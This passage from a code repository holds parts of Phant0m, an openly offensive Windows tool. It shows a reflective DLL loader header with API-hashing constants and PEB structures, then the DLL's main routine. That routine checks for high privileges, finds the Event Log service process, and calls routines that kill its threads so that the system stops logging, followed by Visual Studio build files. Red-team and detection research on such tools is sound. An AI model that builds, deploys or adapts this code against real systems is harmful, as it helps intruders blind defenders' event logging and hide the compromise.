OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 39 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); 40 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 41 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror(DWORD d) 64 | { 65 | return _rotr(d, HASH_KEY); 66 | } 67 | 68 | __forceinline DWORD hash(char* c) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror(h); 74 | h += *c; 75 | } while (*++c); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, * PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK* pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset : 12; 199 | WORD type : 4; 200 | } IMAGE_RELOC, * PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/main.cpp: -------------------------------------------------------------------------------- 1 | #include "ReflectiveLoader.h" 2 | 3 | extern "C" HINSTANCE hAppInstance; 4 | typedef long NTSTATUS; 5 | 6 | #include 7 | #include 8 | 9 | #include "../include/process_info.h" 10 | 11 | // PID detection techniques configuration section. 12 | #define PID_FROM_SCM 1 // If you set it to 1, the PID of the Event Log service is obtained from the Service Manager. 13 | #define PID_FROM_WMI 0 // If you set it to 1, the PID of the Event Log service is obtained from the WMI. 14 | 15 | 16 | // TID detection and kill techniques configuration section. 17 | #define KILL_WITH_T1 1 // If you set it to 1, Technique-1 will be use. For more information; https://github.com/hlldz/Phant0m 18 | #define KILL_WITH_T2 0 // If you set it to 1, Technique-2 will be use. For more information; https://github.com/hlldz/Phant0m 19 | 20 | 21 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1 22 | #include "../include/pid_SCM.h" 23 | #endif 24 | 25 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1 26 | #include "../include/pid_WMI.h" 27 | #endif 28 | 29 | 30 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1 31 | #include "../include/technique_1.h" 32 | #endif 33 | 34 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1 35 | #include "../include/technique_2.h" 36 | #endif 37 | 38 | void Phant0m() { 39 | 40 | puts( 41 | "\t ___ _ _ _ _ _ _____ __ __ __ \n" 42 | "\t| _ \\ || | /_\\ | \\| |_ _/ \\| \\/ |\n" 43 | "\t| _/ __ |/ _ \\| .` | | || () | |\\/| |\n" 44 | "\t|_| |_||_/_/ \\_\\_|\\_| |_| \\__/|_| |_|\n\n" 45 | "\tVersion: 2.0\n" 46 | "\tAuthor: Halil Dalabasmaz\n" 47 | "\tWWW: artofpwn.com\n" 48 | "\tTwitter: @hlldz\n" 49 | "\tGithub: @hlldz\n" 50 | ); 51 | 52 | if (enoughIntegrityLevel() == TRUE) { 53 | 54 | printf("[+] Process Integrity Level is high, continuing...\n\n"); 55 | 56 | if (isPrivilegeOK() == TRUE) { 57 | 58 | #if defined(PID_FROM_SCM) && PID_FROM_SCM == 1 59 | DWORD dwEventLogPID = GetPIDFromSCManager(); 60 | #endif 61 | 62 | #if defined(PID_FROM_WMI) && PID_FROM_WMI == 1 63 | DWORD dwEventLogPID = GetPIDFromWMI(); 64 | #endif 65 | 66 | if (dwEventLogPID != 0) { 67 | 68 | printf("[+] Event Log service PID detected as %d.\n\n", dwEventLogPID); 69 | 70 | #if defined(KILL_WITH_T1) && KILL_WITH_T1 == 1 71 | Technique_1(dwEventLogPID); 72 | #endif 73 | 74 | #if defined(KILL_WITH_T2) && KILL_WITH_T2 == 1 75 | Technique_2(dwEventLogPID); 76 | #endif 77 | 78 | } 79 | else { 80 | 81 | printf("[!] Exiting...\n"); 82 | 83 | } 84 | } 85 | else { 86 | 87 | printf("[!] SeDebugPrivilege cannot enabled. Exiting...\n"); 88 | 89 | } 90 | 91 | } 92 | else { 93 | 94 | printf("[!] Process Integrity Level is not high. Exiting...\n"); 95 | 96 | } 97 | 98 | printf("\n[*] All done.\n"); 99 | 100 | } 101 | 102 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { 103 | BOOL bReturnValue = TRUE; 104 | switch (dwReason) { 105 | case DLL_QUERY_HMODULE: 106 | if (lpReserved != NULL) 107 | *(HMODULE*)lpReserved = hAppInstance; 108 | break; 109 | case DLL_PROCESS_ATTACH: 110 | hAppInstance = hinstDLL; 111 | 112 | Phant0m(); 113 | 114 | /* flush STDOUT */ 115 | fflush(stdout); 116 | 117 | /* we're done, so let's exit */ 118 | ExitProcess(0); 119 | break; 120 | case DLL_PROCESS_DETACH: 121 | case DLL_THREAD_ATTACH: 122 | case DLL_THREAD_DETACH: 123 | break; 124 | } 125 | return bReturnValue; 126 | } -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/phant0m-rdll.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {84d2a2d4-47a9-4b5a-8a02-d18b93289d09} 25 | phant0mrdll 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | MultiThreaded 106 | Default 107 | Neither 108 | 109 | 110 | Windows 111 | true 112 | true 113 | true 114 | 115 | 116 | 117 | 118 | Level3 119 | true 120 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | NDEBUG;ReflectiveDll_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions) 135 | true 136 | MultiThreaded 137 | Default 138 | Neither 139 | 140 | 141 | Windows 142 | true 143 | true 144 | true 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/phant0m-rdll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /phant0m/phant0m-rdll/phant0m-rdll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /phant0m/phant0m.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31402.337 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "phant0m-exe", "phant0m-exe\phant0m-exe.vcxproj", "{EC79F5DD-3943-4413-A298-8F4F2B8C2371}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "phant0m-rdll", "phant0m-rdll\phant0m-rdll.vcxproj", "{84D2A2D4-47A9-4B5A-8A02-D18B93289D09}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x64.ActiveCfg = Debug|x64 19 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x64.Build.0 = Debug|x64 20 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x86.ActiveCfg = Debug|Win32 21 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Debug|x86.Build.0 = Debug|Win32 22 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x64.ActiveCfg = Release|x64 23 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x64.Build.0 = Release|x64 24 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x86.ActiveCfg = Release|Win32 25 | {EC79F5DD-3943-4413-A298-8F4F2B8C2371}.Release|x86.Build.0 = Release|Win32 26 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x64.ActiveCfg = Debug|x64 27 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x64.Build.0 = Debug|x64 28 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x86.ActiveCfg = Debug|Win32 29 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Debug|x86.Build.0 = Debug|Win32 30 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x64.ActiveCfg = Release|x64 31 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x64.Build.0 = Release|x64 32 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x86.ActiveCfg = Release|Win32 33 | {84D2A2D4-47A9-4B5A-8A02-D18B93289D09}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {387EC395-C001-4D1D-982C-9FFCDE439D50} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /phant0m/phant0m.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 16.0 24 | Win32Proj 25 | {27b3efb7-fa35-4b1f-8799-57b784fd7ff6} 26 | phant0m 27 | 10.0 28 | 29 | 30 | 31 | Application 32 | true 33 | v142 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v142 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | true 84 | 85 | 86 | false 87 | 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | true 135 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | -------------------------------------------------------------------------------- /phant0m/phant0m.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | -------------------------------------------------------------------------------- /phant0m/phant0m.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | --------------------------------------------------------------------------------